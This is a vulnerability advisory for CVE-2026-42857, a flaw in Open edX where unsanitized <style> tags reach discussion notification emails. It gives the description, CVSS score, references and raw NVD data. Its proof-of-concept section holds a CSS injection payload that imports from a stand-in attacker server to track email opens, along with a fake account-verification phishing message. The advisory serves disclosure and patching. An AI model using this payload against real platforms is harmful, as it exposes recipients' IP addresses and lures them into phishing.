CVE-2026-42857

Description

Open edX Platform enables the authoring and delivery of online learning at any scale. The HTML sanitizer clean_thread_html_body() used for discussion notification emails fails to remove <style> tags from user-generated discussion post content. This content is rendered with Django's |safe template filter in email notification templates, allowing any enrolled student to inject arbitrary CSS into email notifications sent to other users. This enables email tracking (IP address disclosure), content spoofing, and phishing attacks. This vulnerability is fixed with commit cddc25cd791bb78f76833896e4778f668861df12.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open edX Platform < commit cddc25cd791bb78f76833896e4778f668861df12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<style>
/* Injected CSS to track email opening and leak IP */
@import url('http://attacker-controlled-server.com/track.php');

/* Content Spoofing Example */
div.thread-body::before {
  content: "IMPORTANT: Click here to verify your account";
  color: red;
  font-weight: bold;
}
</style>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42857
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42857
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42857/
[4] VulDB https://vuldb.com/cve/CVE-2026-42857
[5] https://github.com/openedx/openedx-platform/commit/cddc25cd791bb78f76833896e4778f668861df12
[6] https://github.com/openedx/openedx-platform/security/advisories/GHSA-4xv3-5j4x-q8g4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42857", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:36.130", "lastModified": "2026-05-11T18:16:36.130", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open edX Platform enables the authoring and delivery of online learning at any scale. The HTML sanitizer clean_thread_html_body() used for discussion notification emails fails to remove <style> tags from user-generated discussion post content. This content is rendered with Django's |safe template filter in email notification templates, allowing any enrolled student to inject arbitrary CSS into email notifications sent to other users. This enables email tracking (IP address disclosure), content spoofing, and phishing attacks. This vulnerability is fixed with commit cddc25cd791bb78f76833896e4778f668861df12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/openedx/openedx-platform/commit/cddc25cd791bb78f76833896e4778f668861df12", "source": "[email protected]"}, {"url": "https://github.com/openedx/openedx-platform/security/advisories/GHSA-4xv3-5j4x-q8g4", "source": "[email protected]"}]}}